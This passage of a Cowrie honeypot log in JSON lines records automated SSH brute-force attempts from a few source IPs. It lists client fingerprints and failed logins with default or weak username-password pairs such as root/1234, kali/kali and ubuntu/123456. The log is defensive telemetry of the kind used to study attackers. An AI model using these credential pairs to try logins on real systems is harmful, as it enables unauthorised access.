{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:54.275434Z","src_ip":"45.153.34.195","session":"6e61e57d8dc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234","message":"login attempt [root/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:54.530807Z","src_ip":"45.153.34.195","session":"6e61e57d8dc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"helloworld","message":"login attempt [root/helloworld] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:54.900470Z","src_ip":"91.92.40.36","session":"008eb94a7a2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:55.617120Z","src_ip":"45.153.34.195","session":"6e61e57d8dc0","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:55.909601Z","src_ip":"91.92.40.36","session":"adba302a967e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:55.913392Z","src_ip":"91.92.40.36","session":"adba302a967e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":35058,"dst_ip":"10.17.0.5","dst_port":22,"session":"79901f80fa2b","protocol":"ssh","message":"New connection: 45.153.34.195:35058 (10.17.0.5:22) [session: 79901f80fa2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:57.059947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:57.107491Z","src_ip":"45.153.34.195","session":"79901f80fa2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:57.206472Z","src_ip":"45.153.34.195","session":"79901f80fa2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bob","password":"bob","message":"login attempt [bob/bob] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:57.568035Z","src_ip":"45.153.34.195","session":"79901f80fa2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.9","message":"Connection lost after 12.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:58.328636Z","src_ip":"91.92.40.36","session":"008eb94a7a2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:58.656673Z","src_ip":"45.153.34.195","session":"79901f80fa2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":35066,"dst_ip":"10.17.0.5","dst_port":22,"session":"59d20ea14e07","protocol":"ssh","message":"New connection: 45.153.34.195:35066 (10.17.0.5:22) [session: 59d20ea14e07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:59.937111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:00.057570Z","src_ip":"45.153.34.195","session":"59d20ea14e07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:00.073248Z","src_ip":"45.153.34.195","session":"59d20ea14e07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kali","password":"kali","message":"login attempt [kali/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:00.546305Z","src_ip":"45.153.34.195","session":"59d20ea14e07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.85103487968445,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:00.726612Z","src_ip":"172.81.62.90","session":"383edca5b99f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":62626,"dst_ip":"10.17.0.5","dst_port":22,"session":"958d55493804","protocol":"ssh","message":"New connection: 91.92.40.36:62626 (10.17.0.5:22) [session: 958d55493804]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:01.558214Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:01.671671Z","src_ip":"45.153.34.195","session":"59d20ea14e07","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:02.582463Z","src_ip":"91.92.40.36","session":"958d55493804","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:02.612643Z","src_ip":"91.92.40.36","session":"958d55493804","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":15234,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb5aa226405f","protocol":"ssh","message":"New connection: 45.153.34.195:15234 (10.17.0.5:22) [session: bb5aa226405f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:02.814125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:02.839317Z","src_ip":"45.153.34.195","session":"bb5aa226405f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:03.087731Z","src_ip":"45.153.34.195","session":"bb5aa226405f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stef","password":"stef","message":"login attempt [stef/stef] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:03.460913Z","src_ip":"45.153.34.195","session":"bb5aa226405f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:04.680936Z","src_ip":"45.153.34.195","session":"bb5aa226405f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":15236,"dst_ip":"10.17.0.5","dst_port":22,"session":"101ed91737cb","protocol":"ssh","message":"New connection: 45.153.34.195:15236 (10.17.0.5:22) [session: 101ed91737cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:05.750349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:05.757399Z","src_ip":"45.153.34.195","session":"101ed91737cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:05.907105Z","src_ip":"45.153.34.195","session":"101ed91737cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jeff","password":"jeff","message":"login attempt [jeff/jeff] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:06.087315Z","src_ip":"91.92.40.36","session":"adba302a967e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jack","password":"1234","message":"login attempt [jack/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:06.351418Z","src_ip":"45.153.34.195","session":"101ed91737cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:07.435117Z","src_ip":"45.153.34.195","session":"101ed91737cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sahil","password":"sahil","message":"login attempt [sahil/sahil] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:08.346908Z","src_ip":"91.92.40.36","session":"958d55493804","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":15248,"dst_ip":"10.17.0.5","dst_port":22,"session":"088ee7bde5a2","protocol":"ssh","message":"New connection: 45.153.34.195:15248 (10.17.0.5:22) [session: 088ee7bde5a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:08.703389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:08.708465Z","src_ip":"45.153.34.195","session":"088ee7bde5a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":50498,"dst_ip":"10.17.0.5","dst_port":22,"session":"713010063af4","protocol":"ssh","message":"New connection: 91.92.40.36:50498 (10.17.0.5:22) [session: 713010063af4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:08.760183Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:08.805879Z","src_ip":"45.153.34.195","session":"088ee7bde5a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:09.248621Z","src_ip":"45.153.34.195","session":"088ee7bde5a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.3","message":"Connection lost after 15.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:09.308048Z","src_ip":"91.92.40.36","session":"adba302a967e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:10.337523Z","src_ip":"45.153.34.195","session":"088ee7bde5a2","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:10.541760Z","src_ip":"91.92.40.36","session":"713010063af4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa",